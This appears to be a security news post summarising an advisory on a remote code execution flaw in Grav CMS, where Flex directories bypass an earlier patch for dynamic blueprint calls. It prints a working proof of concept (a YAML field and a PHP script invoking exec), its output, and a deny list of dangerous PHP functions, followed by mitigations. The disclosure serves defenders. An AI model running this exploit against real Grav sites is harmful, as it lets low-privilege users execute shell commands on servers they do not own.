Listen to this Post
Grav blueprints support action-property@: directives.
These YAML keys dynamically compute field values by calling functions.
Blueprint::init resolves registered handlers first.
If handler exists, it invokes that handler.
If not, it falls back to dynamic{Action}.
Blueprint::dynamicData() was patched for GHSA-fj2p-qj2f-74v5.
The patch added isSafeDynamicCall validation.
It denies exec, system, passthru, shell_exec, popen, proc_open, pcntl_exec.
It denies assert, preg_replace, create_function, include, require.
It recursively checks arguments for dangerous callables.
FlexDirectory::getBlueprint registers a data handler.
That handler calls FlexDirectory::dynamicDataField.
Because handler exists, patched Blueprint::dynamicData is bypassed.
dynamicDataField extracts $function and $params.
It checks only is_callable($function).
is_callable accepts exec, system, passthru, shell_exec.
It then calls call_user_func_array($function, $params).
No isSafeDynamicCall check occurs.
No Utils::isDangerousFunction check occurs.
Attacker-influenced blueprint directive reaches PHP callable dispatch.
An authenticated user with create or update rights can trigger it.
Permission can be limited to one Flex directory.
Example permission: api.contacts.create.
Flex Users, Flex Pages, Flex Objects, custom Flex types affected.
Trigger requires blueprint field with data-@: directive.
POST create/update path calls blueprint init().
GET blueprint-serving endpoint does not trigger it.
Version tested: commit fae9e1bf2c40ce0b50d0dfce647aaa1d22f98969.
git describe: 2.0.8-2-gfae9e1bf2.
Released 2.0.8 vulnerable code identical.
2.0.7 documented original GHSA fix.
2.0.8 and 2.0.9 do not mention Flex fix.
Impact: arbitrary shell command execution as web server user.
Severity: High trust boundary crossing.
DailyCVE Form:
Platform: Grav
Version: 2.0.8
Vulnerability: Flex dynamicDataField RCE
Severity: High
date: Not provided
Prediction: Unknown patch date
(end of form)
What Undercode Say:
Analytics
composer install bin/gpm install admin flex-objects -y php -S localhost:8000 system/router.php
pocfield: type: text label: PoC Field data-test@: - exec - "id > /tmp/grav_http_rce_proof.txt 2>&1"
directories: - 'blueprints://flex-objects/pages.yaml' - 'blueprints://flex-objects/user-accounts.yaml' - 'blueprints://flex-objects/user-groups.yaml' - 'blueprints://flex-objects/contacts.yaml'
<?php
require 'vendor/autoload.php';
use Grav\Common\Data\Blueprint;
use Grav\Framework\Flex\FlexDirectory;
$proofFile = '/tmp/grav_rce_proof.txt';
$items = [
'fields' => [
'myfield' => [
'type' => 'text',
'data-test@' => ['exec', "id > $proofFile 2>&1"],
],
],
];
$blueprint = new Blueprint(null, $items);
$blueprint->embed('', $items);
$refClass = new ReflectionClass(FlexDirectory::class);
$flexDirectoryInstance = $refClass->newInstanceWithoutConstructor();
$method = $refClass->getMethod('dynamicDataField');
$method->setAccessible(true);
$blueprint->addDynamicHandler('data', function (array &$field, $property, array &$call) use ($method, $flexDirectoryInstance) {
$method->invoke($flexDirectoryInstance, $field, $property, $call);
});
$blueprint->init();
echo file_exists($proofFile) ? file_get_contents($proofFile) : "not vulnerable\n";
uid=1000(d) gid=1000(d) groups=1000(d),4(adm),...
POST /api/v1/flex-objects/contacts HTTP 201 Created
"super_admin": false
access: admin: login: true api: access: true contacts: create: true
Exploit: (Educational Purposes!)
composer install bin/gpm install admin flex-objects -y php -S localhost:8000 system/router.php
pocfield: type: text label: PoC Field data-test@: - exec - "id > /tmp/grav_http_rce_proof.txt 2>&1"
POST /api/v1/flex-objects/contacts HTTP 201 Created
/tmp/grav_http_rce_proof.txt
call_user_func_array('exec', ['id > /tmp/grav_http_rce_proof.txt 2>&1']);
Protection: from this CVE
Route FlexDirectory::dynamicDataField through isSafeDynamicCall.
Delegate to patched Blueprint::dynamicData.
Reject dangerous callables.
Audit addDynamicHandler registrations.
Restrict Flex create update permissions.
Remove data-@: directives.
Apply vendor patch when available.
Impact:
Arbitrary shell command execution.
Full remote code execution.
Web server user compromise.
Low-privilege account server compromise.
Trust boundary crossing.
Grav 2.0 flex-objects affected.
Flex Users Flex Pages affected.
Requires data-@: directive.
High severity.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
